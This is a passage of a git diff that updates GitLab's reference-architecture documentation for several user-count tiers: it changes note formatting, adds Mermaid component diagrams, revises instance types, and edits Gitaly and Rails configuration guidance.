example: - `10.6.0.12`: Consul 2 - `10.6.0.13`: Consul 3 -NOTE: **Note:** +NOTE: The configuration processes for the other servers in your reference architecture will use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect with the other servers. @@ -962,7 +1037,7 @@ servers. The following IPs will be used as an example: - `10.6.0.72`: Sentinel - Cache 2 - `10.6.0.73`: Sentinel - Cache 3 -NOTE: **Note:** +NOTE: If you're using an external Redis Sentinel instance, be sure to exclude the `requirepass` parameter from the Sentinel configuration. This parameter causes clients to report `NOAUTH Authentication required.`. @@ -1226,7 +1301,7 @@ servers. The following IPs will be used as an example: - `10.6.0.82`: Sentinel - Queues 2 - `10.6.0.83`: Sentinel - Queues 3 -NOTE: **Note:** +NOTE: If you're using an external Redis Sentinel instance, be sure to exclude the `requirepass` parameter from the Sentinel configuration. This parameter causes clients to report `NOAUTH Authentication required.`. @@ -1347,7 +1422,7 @@ To configure the Sentinel Queues server: ## Configure Gitaly -NOTE: **Note:** +NOTE: [Gitaly Cluster](../gitaly/praefect.md) support for the Reference Architectures is being worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified @@ -1356,19 +1431,17 @@ and improved designed. [Gitaly](../gitaly/index.md) server node requirements are dependent on data, specifically the number of projects and those projects' sizes. It's recommended -that a Gitaly server node stores no more than 5 TB of data. Although this -reference architecture includes a recommendation for the number of Gitaly server -nodes to use, depending on your storage requirements, you may require additional -Gitaly server nodes. +that a Gitaly server node stores no more than 5 TB of data. Depending on your +repository storage requirements, you may require additional Gitaly server nodes. Due to Gitaly having notable input and output requirements, we strongly -recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should -have a throughput of at least 8,000 input/output operations per second (IOPS) -for read operations and 2,000 IOPS for write operations. These IOPS values are -initial recommendations, and may be adjusted to greater or lesser values -depending on the scale of your environment's workload. If you're running the -environment on a Cloud provider, refer to their documentation about how to -configure IOPS correctly. +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS for +write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. Be sure to note the following items: @@ -1376,14 +1449,14 @@ Be sure to note the following items: [repository storage paths](../repository_storage_paths.md). - A Gitaly server can host one or more storage paths. - A GitLab server can use one or more Gitaly server nodes. -- Gitaly addresses must be specified to be correctly resolvable for _all_ - Gitaly clients. +- Gitaly addresses must be specified to be correctly resolvable for all Gitaly + clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to [use TLS](#gitaly-tls-support). -NOTE: **Note:** +NOTE: The token referred to throughout the Gitaly documentation is an arbitrary password selected by the administrator. This token is unrelated to tokens created for the GitLab API or other similar web API tokens. @@ -1406,8 +1479,8 @@ On each node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page, and _do not_ provide the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable - the network listener, and configure the token: +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at @@ -1501,7 +1574,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes that communicate with it following the procedure described in [GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). -NOTE: **Note:** +NOTE: The self-signed certificate must specify the address you use to access the Gitaly server. If you are addressing the Gitaly server by a hostname, you can either use the Common Name field for this, or add it as a Subject Alternative @@ -1677,7 +1750,7 @@ To configure the Sidekiq nodes, on each one: 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -TIP: **Tip:** +NOTE: You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_processes.md). <div align="right"> @@ -1690,12 +1763,6 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces This section describes how to configure the GitLab application (Rails) component. -In our architecture, we run each GitLab Rails node using the Puma webserver, and -have its number of workers set to 90% of available CPUs, with four threads. For -nodes running Rails with other components, the worker value should be reduced -accordingly. We've determined that a worker value of 50% achieves a good balance, -but this is dependent on workload. - The following IPs will be used as an example: - `10.6.0.111`: GitLab application 1 @@ -1999,7 +2066,7 @@ on what features you intend to use: |Object storage type|Supported by consolidated configuration?| |-------------------|----------------------------------------| -| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No| +| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No | | [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes | | [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes | | [Uploads](../uploads.md#using-object-storage) | Yes | diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md index f4842a8568b..c341ff5baec 100644 --- a/doc/administration/reference_architectures/2k_users.md +++ b/doc/administration/reference_architectures/2k_users.md @@ -2,7 +2,7 @@ reading_time: true stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Reference architecture: up to 2,000 users **(CORE ONLY)** @@ -26,6 +26,46 @@ For a full list of reference architectures, see | Object storage | n/a | n/a | n/a | n/a | n/a | | NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +```mermaid +stateDiagram-v2 + [*] --> LoadBalancer + LoadBalancer --> ApplicationServer + + ApplicationServer --> Gitaly + ApplicationServer --> Redis + ApplicationServer --> Database + ApplicationServer --> ObjectStorage + + ApplicationMonitoring -->ApplicationServer + ApplicationMonitoring -->Redis + ApplicationMonitoring -->Database + + + state Database { + "PG_Node" + } + state Redis { + "Redis_Node" + } + + state Gitaly { + "Gitaly" + } + + state ApplicationServer { + "AppServ_1..2" + } + + state LoadBalancer { + "LoadBalancer" + } + + state ApplicationMonitoring { + "Prometheus" + "Grafana" + } +``` + The Google Cloud Platform (GCP) architectures were built and tested using the [Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) CPU platform. On different hardware you may find that adjustments, either lower @@ -356,7 +396,7 @@ are supported and can be added if needed. ## Configure Gitaly -NOTE: **Note:** +NOTE: [Gitaly Cluster](../gitaly/praefect.md) support for the Reference Architectures is being worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified @@ -391,7 +431,7 @@ Be sure to note the following items: to restrict access to the Gitaly server. Another option is to [use TLS](#gitaly-tls-support). -NOTE: **Note:** +NOTE: The token referred to throughout the Gitaly documentation is an arbitrary password selected by the administrator. This token is unrelated to tokens created for the GitLab API or other similar web API tokens. @@ -485,7 +525,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes that communicate with it following the procedure described in [GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). -NOTE: **Note:** +NOTE: The self-signed certificate must specify the address you use to access the Gitaly server. If you are addressing the Gitaly server by a hostname, you can either use the Common Name field for this, or add it as a Subject Alternative @@ -858,7 +898,7 @@ on what features you intend to use: |Object storage type|Supported by consolidated configuration?| |-------------------|----------------------------------------| -| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No| +| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No | | [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes | | [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes | | [Uploads](../uploads.md#using-object-storage) | Yes | diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md index b5b3e4e0300..370247ed856 100644 --- a/doc/administration/reference_architectures/3k_users.md +++ b/doc/administration/reference_architectures/3k_users.md @@ -2,7 +2,7 @@ reading_time: true stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Reference architecture: up to 3,000 users **(PREMIUM ONLY)** @@ -11,7 +11,7 @@ This page describes GitLab reference architecture for up to 3,000 users. For a full list of reference architectures, see [Available reference architectures](index.md#available-reference-architectures). -NOTE: **Note:** +NOTE: This reference architecture is designed to help your organization achieve a highly-available GitLab deployment. If you do not have the expertise or need to maintain a highly-available environment, you can have a simpler and less @@ -37,6 +37,62 @@ costly-to-operate environment by using the | Object storage | n/a | n/a | n/a | n/a | n/a | | NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +```mermaid +stateDiagram-v2 + [*] --> LoadBalancer + LoadBalancer --> ApplicationServer + + ApplicationServer --> BackgroundJobs + ApplicationServer --> Gitaly + ApplicationServer --> Redis + ApplicationServer --> PgBouncer + PgBouncer --> Database + ApplicationServer --> ObjectStorage + BackgroundJobs --> ObjectStorage + + ApplicationMonitoring -->ApplicationServer + ApplicationMonitoring -->Redis + ApplicationMonitoring -->PgBouncer + ApplicationMonitoring -->Database + ApplicationMonitoring -->BackgroundJobs + + state Database { + "PG_Primary_Node" + "PG_Secondary_Node_1..2" + } + state Redis { + "R_Primary_Node" + "R_Replica_Node_1..2" + "R_Consul/Sentinel_1..3" + } + + state Gitaly { + "Gitaly_1..2" + } + + state BackgroundJobs { + "Sidekiq_1..4" + } + + state ApplicationServer { + "GitLab_Rails_1..3" + } + + state LoadBalancer { + "LoadBalancer_1" + } + + state ApplicationMonitoring { + "Prometheus" + "Grafana" + } + + state PgBouncer { + "Internal_Load_Balancer" + "PgBouncer_1..3" + } +``` + The Google Cloud Platform (GCP) architectures were built and tested using the [Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) CPU platform. On different hardware you may find that adjustments, either lower @@ -444,7 +500,7 @@ servers. The following IPs will be used as an example: - `10.6.0.12`: Consul/Sentinel 2 - `10.6.0.13`: Consul/Sentinel 3 -NOTE: **Note:** +NOTE: If you're using an external Redis Sentinel instance, be sure to exclude the `requirepass` parameter from the Sentinel configuration. This parameter causes clients to report `NOAUTH Authentication required.`. @@ -1058,7 +1114,7 @@ Refer to your preferred Load Balancer's documentation for further guidance. ## Configure Gitaly -NOTE: **Note:** +NOTE: [Gitaly Cluster](../gitaly/praefect.md) support for the Reference Architectures is being worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified @@ -1067,19 +1123,17 @@ and improved designed. [Gitaly](../gitaly/index.md) server node requirements are dependent on data, specifically the number of projects and those projects' sizes. It's recommended -that a Gitaly server node stores no more than 5 TB of data. Although this -reference architecture includes a recommendation for the number of Gitaly server -nodes to use, depending on your storage requirements, you may require additional -Gitaly server nodes. +that a Gitaly server node stores no more than 5 TB of data. Depending on your +repository storage requirements, you may require additional Gitaly server nodes. Due to Gitaly having notable input and output requirements, we strongly -recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should -have a throughput of at least 8,000 input/output operations per second (IOPS) -for read operations and 2,000 IOPS for write operations. These IOPS values are -initial recommendations, and may be adjusted to greater or lesser values -depending on the scale of your environment's workload. If you're running the -environment on a Cloud provider, refer to their documentation about how to -configure IOPS correctly. +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS for +write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. Be sure to note the following items: @@ -1087,14 +1141,14 @@ Be sure to note the following items: [repository storage paths](../repository_storage_paths.md). - A Gitaly server can host one or more storage paths. - A GitLab server can use one or more Gitaly server nodes. -- Gitaly addresses must be specified to be correctly resolvable for _all_ - Gitaly clients. +- Gitaly addresses must be specified to be correctly resolvable for all Gitaly + clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to [use TLS](#gitaly-tls-support). -NOTE: **Note:** +NOTE: The token referred to throughout the Gitaly documentation is an arbitrary password selected by the administrator. This token is unrelated to tokens created for the GitLab API or other similar web API tokens. @@ -1117,8 +1171,8 @@ On each node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page, and _do not_ provide the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable - the network listener, and configure the token: +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at @@ -1244,7 +1298,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes that communicate with it following the procedure described in [GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). -NOTE: **Note:** +NOTE: The self-signed certificate must specify the address you use to access the Gitaly server. If you are addressing the Gitaly server by a hostname, you can either use the Common Name field for this, or add it as a Subject Alternative @@ -1412,7 +1466,7 @@ To configure the Sidekiq nodes, one each one: run: sidekiq: (pid 30142) 77351s; run: log: (pid 29638) 77386s ``` -TIP: **Tip:** +NOTE: You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_processes.md). <div align="right"> @@ -1425,12 +1479,6 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces This section describes how to configure the GitLab application (Rails) component. -In our architecture, we run each GitLab Rails node using the Puma webserver, and -have its number of workers set to 90% of available CPUs, with four threads. For -nodes running Rails with other components, the worker value should be reduced -accordingly. We've determined that a worker value of 50% achieves a good balance, -but this is dependent on workload. - On each node perform the following: 1. If you're [using NFS](#configure-nfs-optional): @@ -1734,7 +1782,7 @@ on what features you intend to use: |Object storage type|Supported by consolidated configuration?| |-------------------|----------------------------------------| -| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No| +| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No | | [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes | | [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes | | [Uploads](../uploads.md#using-object-storage) | Yes | diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md index 152eb9cb90d..f76c8a8a877 100644 --- a/doc/administration/reference_architectures/50k_users.md +++ b/doc/administration/reference_architectures/50k_users.md @@ -2,7 +2,7 @@ reading_time: true stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Reference architecture: up to 50,000 users **(PREMIUM ONLY)** @@ -24,8 +24,8 @@ full list of reference architectures, see | Internal load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 | | Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | | Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS | -| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS | +| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | +| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | | Gitaly | 2 (minimum) | 64 vCPU, 240 GB memory | n1-standard-64 | m5.16xlarge | D64s v3 | | Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | | GitLab Rails | 12 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 | @@ -33,6 +33,81 @@ full list of reference architectures, see | Object storage | n/a | n/a | n/a | n/a | n/a | | NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +```mermaid +stateDiagram-v2 + [*] --> LoadBalancer + LoadBalancer --> ApplicationServer + + ApplicationServer --> BackgroundJobs + ApplicationServer --> Gitaly + ApplicationServer --> Redis_Cache + ApplicationServer --> Redis_Queues + ApplicationServer --> PgBouncer + PgBouncer --> Database + ApplicationServer --> ObjectStorage + BackgroundJobs --> ObjectStorage + + ApplicationMonitoring -->ApplicationServer + ApplicationMonitoring -->PgBouncer + ApplicationMonitoring -->Database + ApplicationMonitoring -->BackgroundJobs + + ApplicationServer --> Consul + + Consul --> Database + Consul --> PgBouncer + Redis_Cache --> Consul + Redis_Queues --> Consul + BackgroundJobs --> Consul + + state Consul { + "Consul_1..3" + } + + state Database { + "PG_Primary_Node" + "PG_Secondary_Node_1..2" + } + + state Redis_Cache { + "R_Cache_Primary_Node" + "R_Cache_Replica_Node_1..2" + "R_Cache_Sentinel_1..3" + } + + state Redis_Queues { + "R_Queues_Primary_Node" + "R_Queues_Replica_Node_1..2" + "R_Queues_Sentinel_1..3" + } + + state Gitaly { + "Gitaly_1..2" + } + + state BackgroundJobs { + "Sidekiq_1..4" + } + + state ApplicationServer { + "GitLab_Rails_1..12" + } + + state LoadBalancer { + "LoadBalancer_1" + } + + state ApplicationMonitoring { + "Prometheus" + "Grafana" + } + + state PgBouncer { + "Internal_Load_Balancer" + "PgBouncer_1..3" + } +``` + The Google Cloud Platform (GCP) architectures were built and tested using the [Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) CPU platform. On different hardware you may find that adjustments, either lower @@ -241,7 +316,7 @@ The following IPs will be used as an example: - `10.6.0.12`: Consul 2 - `10.6.0.13`: Consul 3 -NOTE: **Note:** +NOTE: The configuration processes for the other servers in your reference architecture will use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect with the other servers. @@ -962,7 +1037,7 @@ servers. The following IPs will be used as an example: - `10.6.0.72`: Sentinel - Cache 2 - `10.6.0.73`: Sentinel - Cache 3 -NOTE: **Note:** +NOTE: If you're using an external Redis Sentinel instance, be sure to exclude the `requirepass` parameter from the Sentinel configuration. This parameter causes clients to report `NOAUTH Authentication required.`. @@ -1226,7 +1301,7 @@ servers. The following IPs will be used as an example: - `10.6.0.82`: Sentinel - Queues 2 - `10.6.0.83`: Sentinel - Queues 3 -NOTE: **Note:** +NOTE: If you're using an external Redis Sentinel instance, be sure to exclude the `requirepass` parameter from the Sentinel configuration. This parameter causes clients to report `NOAUTH Authentication required.`. @@ -1347,7 +1422,7 @@ To configure the Sentinel Queues server: ## Configure Gitaly -NOTE: **Note:** +NOTE: [Gitaly Cluster](../gitaly/praefect.md) support for the Reference Architectures is being worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified @@ -1356,19 +1431,17 @@ and improved designed. [Gitaly](../gitaly/index.md) server node requirements are dependent on data, specifically the number of projects and those projects' sizes. It's recommended -that a Gitaly server node stores no more than 5 TB of data. Although this -reference architecture includes a recommendation for the number of Gitaly server -nodes to use, depending on your storage requirements, you may require additional -Gitaly server nodes. +that a Gitaly server node stores no more than 5 TB of data. Depending on your +repository storage requirements, you may require additional Gitaly server nodes. Due to Gitaly having notable input and output requirements, we strongly -recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should -have a throughput of at least 8,000 input/output operations per second (IOPS) -for read operations and 2,000 IOPS for write operations. These IOPS values are -initial recommendations, and may be adjusted to greater or lesser values -depending on the scale of your environment's workload. If you're running the -environment on a Cloud provider, refer to their documentation about how to -configure IOPS correctly. +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS for +write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. Be sure to note the following items: @@ -1376,14 +1449,14 @@ Be sure to note the following items: [repository storage paths](../repository_storage_paths.md). - A Gitaly server can host one or more storage paths. - A GitLab server can use one or more Gitaly server nodes. -- Gitaly addresses must be specified to be correctly resolvable for _all_ - Gitaly clients. +- Gitaly addresses must be specified to be correctly resolvable for all Gitaly + clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to [use TLS](#gitaly-tls-support). -NOTE: **Note:** +NOTE: The token referred to throughout the Gitaly documentation is an arbitrary password selected by the administrator. This token is unrelated to tokens created for the GitLab API or other similar web API tokens. @@ -1406,8 +1479,8 @@ On each node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page, and _do not_ provide the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable - the network listener, and configure the token: +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at @@ -1501,7 +1574,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes that communicate with it following the procedure described in [GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). -NOTE: **Note:** +NOTE: The self-signed certificate must specify the address you use to access the Gitaly server. If you are addressing the Gitaly server by a hostname, you can either use the Common Name field for this, or add it as a Subject Alternative @@ -1677,7 +1750,7 @@ To configure the Sidekiq nodes, on each one: 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -TIP: **Tip:** +NOTE: You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_processes.md). <div align="right"> @@ -1690,12 +1763,6 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces This section describes how to configure the GitLab application (Rails) component. -In our architecture, we run each GitLab Rails node using the Puma webserver, and -have its number of workers set to 90% of available CPUs, with four threads. For -nodes running Rails with other components, the worker value should be reduced -accordingly. We've determined that a worker value of 50% achieves a good balance, -but this is dependent on workload. - The following IPs will be used as an example: - `10.6.0.111`: GitLab application 1 @@ -1999,7 +2066,7 @@ on what features you intend to use: |Object storage type|Supported by consolidated configuration?| |-------------------|----------------------------------------| -| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No| +| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No | | [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes | | [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes | | [Uploads](../uploads.md#using-object-storage) | Yes | diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md index f023971bdc0..6a0547aeaf9 100644 --- a/doc/administration/reference_architectures/5k_users.md +++ b/doc/administration/reference_architectures/5k_users.md @@ -2,7 +2,7 @@ reading_time: true stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Reference architecture: up to 5,000 users **(PREMIUM ONLY)** @@ -11,7 +11,7 @@ This page describes GitLab reference architecture for up to 5,000 users. For a full list of reference architectures, see [Available reference architectures](index.md#available-reference-architectures). -NOTE: **Note:** +NOTE: This reference architecture is designed to help your organization achieve a highly-available GitLab deployment. If you do not have the expertise or need to maintain a highly-available environment, you can have a simpler and less @@ -37,6 +37,63 @@ costly-to-operate environment by using the | Object storage | n/a | n/a | n/a | n/a | n/a | | NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +```mermaid +stateDiagram-v2 + [*] --> LoadBalancer + LoadBalancer --> ApplicationServer + + ApplicationServer --> BackgroundJobs + ApplicationServer --> Gitaly + ApplicationServer --> Redis + ApplicationServer --> PgBouncer + PgBouncer --> Database + ApplicationServer --> ObjectStorage + BackgroundJobs --> ObjectStorage + + ApplicationMonitoring -->ApplicationServer + ApplicationMonitoring -->Redis + ApplicationMonitoring -->PgBouncer + ApplicationMonitoring -->Database + ApplicationMonitoring -->BackgroundJobs + + state Database { + "PG_Primary_Node" + "PG_Secondary_Node_1..2" + } + + state Redis { + "R_Primary_Node" + "R_Replica_Node_1..2" + "R_Consul/Sentinel_1..3" + } + + state Gitaly { + "Gitaly_1..2" + } + + state BackgroundJobs { + "Sidekiq_1..4" + } + + state ApplicationServer { + "GitLab_Rails_1..3" + } + + state LoadBalancer { + "LoadBalancer_1" + } + + state ApplicationMonitoring { + "Prometheus" + "Grafana" + } + + state PgBouncer { + "Internal_Load_Balancer" + "PgBouncer_1..3" + } +``` + The Google Cloud Platform (GCP) architectures were built and tested using the [Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) CPU platform. On different hardware you may find that adjustments, either lower @@ -444,7 +501,7 @@ servers. The following IPs will be used as an example: - `10.6.0.12`: Consul/Sentinel 2 - `10.6.0.13`: Consul/Sentinel 3 -NOTE: **Note:** +NOTE: If you're using an external Redis Sentinel instance, be sure to exclude the `requirepass` parameter from the Sentinel configuration. This parameter causes clients to report `NOAUTH Authentication required.`. @@ -1057,7 +1114,7 @@ Refer to your preferred Load Balancer's documentation for further guidance. ## Configure Gitaly -NOTE: **Note:** +NOTE: [Gitaly Cluster](../gitaly/praefect.md) support for the Reference Architectures is being worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified @@ -1066,19 +1123,17 @@ and improved designed. [Gitaly](../gitaly/index.md) server node requirements are dependent on data, specifically the number of projects and those projects' sizes. It's recommended -that a Gitaly server node stores no more than 5 TB of data. Although this -reference architecture includes a recommendation for the number of Gitaly server -nodes to use, depending on your storage requirements, you may require additional -Gitaly server nodes. +that a Gitaly server node stores no more than 5 TB of data. Depending on your +repository storage requirements, you may require additional Gitaly server nodes. Due to Gitaly having notable input and output requirements, we strongly -recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should -have a throughput of at least 8,000 input/output operations per second (IOPS) -for read operations and 2,000 IOPS for write operations. These IOPS values are -initial recommendations, and may be adjusted to greater or lesser values -depending on the scale of your environment's workload. If you're running the -environment on a Cloud provider, refer to their documentation about how to -configure IOPS correctly. +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS for +write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. Be sure to note the following items: @@ -1086,14 +1141,14 @@ Be sure to note the following items: [repository storage paths](../repository_storage_paths.md). - A Gitaly server can host one or more storage paths. - A GitLab server can use one or more Gitaly server nodes. -- Gitaly addresses must be specified to be correctly resolvable for _all_ - Gitaly clients. +- Gitaly addresses must be specified to be correctly resolvable for all Gitaly + clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to [use TLS](#gitaly-tls-support). -NOTE: **Note:** +NOTE: The token referred to throughout the Gitaly documentation is an arbitrary password selected by the administrator. This token is unrelated to tokens created for the GitLab API or other similar web API tokens. @@ -1116,8 +1171,8 @@ On each node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page, and _do not_ provide the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable - the network listener, and configure the token: +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at @@ -1243,7 +1298,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes that communicate with it following the procedure described in [GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). -NOTE: **Note:** +NOTE: The self-signed certificate must specify the address you use to access the Gitaly server. If you are addressing the Gitaly server by a hostname, you can either use the Common Name field for this, or add it as a Subject Alternative @@ -1411,7 +1466,7 @@ To configure the Sidekiq nodes, one each one: run: sidekiq: (pid 30142) 77351s; run: log: (pid 29638) 77386s ``` -TIP: **Tip:** +NOTE: You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_processes.md). <div align="right"> @@ -1424,12 +1479,6 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces This section describes how to configure the GitLab application (Rails) component. -In our architecture, we run each GitLab Rails node using the Puma webserver, and -have its number of workers set to 90% of available CPUs, with four threads. For -nodes running Rails with other components, the worker 